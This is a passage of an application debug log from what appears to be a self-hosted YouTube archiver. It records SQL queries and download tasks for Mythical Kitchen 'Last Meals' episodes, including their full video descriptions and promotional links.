Kathryn Hahn Eats Her Last Meal/Kathryn Hahn Eats Her Last Meal [AuH68t1gLw4].mp4", "id" => "AuH68t1gLw4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=AuH68t1gLw4", "playlist_index" => 34, "timestamp" => 1743069610, "title" => "Kathryn Hahn Eats Her Last Meal", "upload_date" => "20250327"} 20:47:44.349 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:44.350 [debug] QUERY OK source="sources" db=0.2ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:44.351 [debug] QUERY OK source="media_items" db=0.3ms idle=1003.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-27 10:00:10Z], 1] 20:47:44.354 [debug] QUERY OK source="media_items" db=2.4ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Kathryn Hahn eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Kathryn's Last Meal\n0:51 Have You Thought About Your Last Meal Before?\n2:10 1st Course\n2:55 Growing Up In Cleveland\n4:56 Gen Z Lingo\n7:01 Crossing Jordache & Playing A Grief Counselor\n10:17 Who Said This, Lily Or Nietzsche?\n11:25 Don't Miss SURVIVE THE MYTHICAL KITCHEN\n11:48 2nd Course\n14:04 Growing Up With Funny Parents\n15:28 Plotting Adam Scott's Murder\n17:27 Vulnerability in Acting\n19:30 Captain Fantastic\n21:41 3rd Course\n23:19 Agatha All Along\n25:37 Being Witchy\n28:48 4th Course\n30:56 The Swedish Art Of Death Cleaning\n33:38 What Do You Think Happens When You Die?\n34:51 Lightning Round\n38:00 Kathryn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Kathryn Hahn Eats Her Last Meal", "24d69cd5-ef86-41ff-835a-ec82b2399c98", "https://www.youtube.com/watch?v=AuH68t1gLw4", false, "AuH68t1gLw4", 2331, false, 34, "/downloads/Last Meals/2025-03-27 Kathryn Hahn Eats Her Last Meal/Kathryn Hahn Eats Her Last Meal [AuH68t1gLw4].mp4", false, false, 1, [], 0, ~U[2025-03-27 10:00:10Z], ~U[2026-03-28 00:47:44Z], ~U[2026-03-28 00:47:44Z], "Today, Kathryn Hahn eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Kathryn's Last Meal\n0:51 Have You Thought About Your Last Meal Before?\n2:10 1st Course\n2:55 Growing Up In Cleveland\n4:56 Gen Z Lingo\n7:01 Crossing Jordache & Playing A Grief Counselor\n10:17 Who Said This, Lily Or Nietzsche?\n11:25 Don't Miss SURVIVE THE MYTHICAL KITCHEN\n11:48 2nd Course\n14:04 Growing Up With Funny Parents\n15:28 Plotting Adam Scott's Murder\n17:27 Vulnerability in Acting\n19:30 Captain Fantastic\n21:41 3rd Course\n23:19 Agatha All Along\n25:37 Being Witchy\n28:48 4th Course\n30:56 The Swedish Art Of Death Cleaning\n33:38 What Do You Think Happens When You Die?\n34:51 Lightning Round\n38:00 Kathryn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Kathryn Hahn Eats Her Last Meal", "https://www.youtube.com/watch?v=AuH68t1gLw4", "AuH68t1gLw4", 2331, false, "/downloads/Last Meals/2025-03-27 Kathryn Hahn Eats Her Last Meal/Kathryn Hahn Eats Her Last Meal [AuH68t1gLw4].mp4", false, 1, ~U[2025-03-27 10:00:10Z]] 20:47:44.355 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=309.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:44.356 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:44.357 [debug] QUERY OK source="media_items" db=0.3ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [34] 20:47:44.357 [info] Kicking off download for media item #34 (AuH68t1gLw4) 20:47:44.359 [debug] QUERY OK source="tasks" db=0.2ms idle=3.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [37, 34, ~U[2026-03-28 00:47:44Z], ~U[2026-03-28 00:47:44Z]] 20:47:44.359 [debug] Current batch of media processed. Will check again in 1000ms 20:47:45.360 [debug] Current batch of media processed. Will check again in 1000ms 20:47:46.362 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Simone Giertz eats her last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Simone's Last Meal\n1:49 How Often Do You Think About Death?\n3:23 1st Course\n6:24 Former Queen Of Shitty Robots\n9:18 Seeing Humanity In Robots\n10:13 Inventing The First Tesla Pickup Truck\n11:21 A Pawn In Robot Overlord Propaganda\n12:05 2nd Course\n14:04 Surviving A Brain Tumor\n16:40 Learning To Ask For Help\n18:03 Dating Your Brain Tumor (& Sending It To Antarctica)\n20:46 3rd Course\n21:48 FORKS\n25:30 Starring In A Chinese Sitcom\n28:48 Am I Ever Going To Feel Better?\n30:49 Generational Fate\n32:07 4th Course\n35:15 Spirituality\n36:45 Simone's Future\n37:54 Lightning Round\n40:25 Simone's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2468, "filename" => "/downloads/Last Meals/2025-01-16 Brain Tumor Survivor Simone Giertz Eats Her Last Meal/Brain Tumor Survivor Simone Giertz Eats Her Last Meal [rs9A20wRUxI].mp4", "id" => "rs9A20wRUxI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=rs9A20wRUxI", "playlist_index" => 35, "timestamp" => 1737025268, "title" => "Brain Tumor Survivor Simone Giertz Eats Her Last Meal", "upload_date" => "20250116"} 20:47:46.363 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=313.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:46.363 [debug] QUERY OK source="sources" db=0.3ms idle=305.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:46.364 [debug] QUERY OK source="media_items" db=0.5ms idle=306.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-16 11:01:08Z], 1] 20:47:46.369 [debug] QUERY OK source="media_items" db=3.2ms idle=307.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Simone Giertz eats her last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Simone's Last Meal\n1:49 How Often Do You Think About Death?\n3:23 1st Course\n6:24 Former Queen Of Shitty Robots\n9:18 Seeing Humanity In Robots\n10:13 Inventing The First Tesla Pickup Truck\n11:21 A Pawn In Robot Overlord Propaganda\n12:05 2nd Course\n14:04 Surviving A Brain Tumor\n16:40 Learning To Ask For Help\n18:03 Dating Your Brain Tumor (& Sending It To Antarctica)\n20:46 3rd Course\n21:48 FORKS\n25:30 Starring In A Chinese Sitcom\n28:48 Am I Ever Going To Feel Better?\n30:49 Generational Fate\n32:07 4th Course\n35:15 Spirituality\n36:45 Simone's Future\n37:54 Lightning Round\n40:25 Simone's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Brain Tumor Survivor Simone Giertz Eats Her Last Meal", "f6c83c66-303c-4d6a-855e-803e2a49699e", "https://www.youtube.com/watch?v=rs9A20wRUxI", false, "rs9A20wRUxI", 2468, false, 35, "/downloads/Last Meals/2025-01-16 Brain Tumor Survivor Simone Giertz Eats Her Last Meal/Brain Tumor Survivor Simone Giertz Eats Her Last Meal [rs9A20wRUxI].mp4", false, false, 1, [], 0, ~U[2025-01-16 11:01:08Z], ~U[2026-03-28 00:47:46Z], ~U[2026-03-28 00:47:46Z], "Today, Simone Giertz eats her last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Simone's Last Meal\n1:49 How Often Do You Think About Death?\n3:23 1st Course\n6:24 Former Queen Of Shitty Robots\n9:18 Seeing Humanity In Robots\n10:13 Inventing The First Tesla Pickup Truck\n11:21 A Pawn In Robot Overlord Propaganda\n12:05 2nd Course\n14:04 Surviving A Brain Tumor\n16:40 Learning To Ask For Help\n18:03 Dating Your Brain Tumor (& Sending It To Antarctica)\n20:46 3rd Course\n21:48 FORKS\n25:30 Starring In A Chinese Sitcom\n28:48 Am I Ever Going To Feel Better?\n30:49 Generational Fate\n32:07 4th Course\n35:15 Spirituality\n36:45 Simone's Future\n37:54 Lightning Round\n40:25 Simone's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B (truncated) 20:47:46.369 [debug] QUERY OK source="sources" db=0.2ms idle=311.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:46.370 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:46.371 [debug] QUERY OK source="media_items" db=0.4ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [35] 20:47:46.371 [info] Kicking off download for media item #35 (rs9A20wRUxI) 20:47:46.372 [debug] QUERY OK source="tasks" db=0.0ms idle=2.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [38, 35, ~U[2026-03-28 00:47:46Z], ~U[2026-03-28 00:47:46Z]] 20:47:46.372 [debug] Current batch of media processed. Will check again in 1000ms 20:47:47.372 [debug] Current batch of media processed. Will check again in 1000ms 20:47:48.374 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Neil deGrasse Tyson eats his last meal. \n\nTo get your questions about the cosmos answered, check out Neil's book! Just Visiting This Planet: https://a.co/d/dWfSrAH\n\nChapters\n0:00 Neil's Last Meal\n0:27 Science Fair Beef\n1:55 Why Wait For Your Last Meal To Eat Good Food?\n3:42 1st Course\n6:06 Lessons From Wrestling\n8:46 Aliens Can Watch Our TV Shows\n11:12 Should Scientists Run The Government?\n18:08 2nd Course\n19:36 Lasagna & Space Exploration\n22:45 Is There Room For God?\n27:14 Pluto Had It Coming\n29:00 Seveneves\n30:46:00 A Death-Free Meal\n31:38 3rd Course\n35:40 If I'm Going To Mars, I'm Bringing Pizza\n40:09 Death Gives Life Meaning\n41:50:00 Being A Hopeful Realist\n44:43:00 Winning A Victory For 